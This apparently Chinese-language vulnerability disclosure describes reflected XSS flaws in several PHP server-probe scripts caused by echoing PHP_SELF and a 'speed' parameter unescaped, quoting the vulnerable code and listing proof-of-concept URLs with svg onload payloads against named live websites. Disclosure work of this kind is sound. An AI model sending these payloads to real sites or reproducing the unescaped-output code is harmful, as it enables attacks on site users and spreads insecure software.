研究了一下市面上的php探针,发现同源现象较严重。首先发现了php雅黑探针(可以说是国内用的最多的探针了)的一些安全问题,由此各种php探针都躺枪了。就算非同源的php探针往往也容易出现这个问题,这里会给出一些例子。该问题影响范围较广,LNMP、WDCP等linux面板由于自带探针、UPUPW面板也自带探针,所以都躺枪了。

简单搜集了一下,影响的探针不止有以下这些:

  • php雅黑探针
  • UenuProbe探针
  • UPUPW PHP 探针
  • B-Check探针
  • iProber探针(部分版本)
  • 浪点PHP探针
  • C1G PHP探针
  • 9Gan php探针

我们就从雅黑php探针说起吧。

探针1475行,有如下代码:

1
2
3
4
5
6
7
<td width="18%">
<?php
$phpSelf = $_SERVER[PHP_SELF] ? $_SERVER[PHP_SELF] : $_SERVER[SCRIPT_NAME];
$disFuns=get_cfg_var("disable_functions");
?>
<?php echo (false!==eregi("phpinfo",$disFuns))? '<font color="red">×</font>' :"<a href='$phpSelf?act=phpinfo' target='_blank'>PHPINFO</a>";?>
</td>

获得了$_SERVER[PHP_SELF]并赋值给$phpSelf,然后在href中输出。

我曾经在绕过360webscan的漏洞中说过,PHP_SELF是我们部分可控的一个变量,如果大家写代码不重视的话,就会出现安全问题。这里就是。

比如我们雅黑php探针的官方演示:

1
http://www.yahei.net/tz/tz.php/%27%3E%3Csvg%20onload=alert%281%29//

LNMP的探针也是用的雅黑,所以LNMP也应该躺枪的。但是LNMP默认不支持PHP_SELF,所以上面那个漏洞默认被避免了,但管理员开启了PHP_SELF后效果也是一样。

wdcp也自带探针,于是也躺枪了:

1
http://xmmy.org/index.php/%27%3E%3Csvg%20onload=alert%281%29//

由此我们甚至可以衍伸到市面上的各种php探针,因为php探针里面经常会取探针的路径,取路径的时候时常会用到php_self,而且基本不会考虑过滤。

那么我们来试试其他的php探针。

2.UPUPW PHP 探针

UPUPW PHP环境集成包是目前Windows平台下最具特色的Web服务器PHP套件。其自带一个探针,也存在这个xss漏洞。

如:

1
http://huojia.gov.cn/u.php/%27%22%3E%3Csvg%20onload=alert%281%29//

3.UenuProbe探针

优艺国际什么的php探针,没用过。

1
http://www.ecmoban.net/index.php/%27%22%3E%3Csvg%20onload=alert%281%29//

4.B-Check探针

1
http://wyyz1234.byethost4.com/index.php/%22%27%3E%3Csvg%20onload=alert%281%29//

5.iProber 探针

iProber,比较出名的一个探针了,用户也很多。

1
http://pctartarus.mobhost.in/index.php/%22%27%3E%3Csvg%20onload=alert%281%29//

6.浪点php探针

1
http://tools.cat606.redphp.cn/index.php/%22%27%3E%3Csvg%20onload=alert%281%29//

7.C1G php探针

1
http://bbs.qqht.com/C1G/phpenv2.1.php/%27%22%3E%3Csvg%20onload=alert%281%29//

很多很多很多。。。百度下来100个探针里有90+个存在xss,我就不一一列举了。

另外,php雅黑探针中还存在一个反射型XSS漏洞,一起打包提交了吧。

2141行:

1
<?php echo (isset($_GET['speed']))?"下载1000KB数据用时 <font color='#cc0000'>".$_GET['speed']."</font> 毫秒,下载速度:"."<font color='#cc0000'>".$speed."</font>"." kb/s,需测试多次取平均值,超过10M直接看下载速度":"<font color='#cc0000'>&nbsp;未探测&nbsp;</font>" ?>

取得了$_GET[speed],直接输出在页面中了,造成了反射型XSS。

1
http://www.yahei.net/tz/tz.php?speed=%3Csvg%20onload=alert%281%29//

于是,9Gan php探针也存在这个xss漏洞(9Gan不存在上面说的那个php_self的漏洞,却在这里躺枪了)

1
http://www.9gan.com/index.php?speed=%3Csvg%20onload=alert%281%29//

其他的php探针可能也有这个speed的漏洞,我就不再一一测试了,因为同源现象很严重,问题都测试不完了。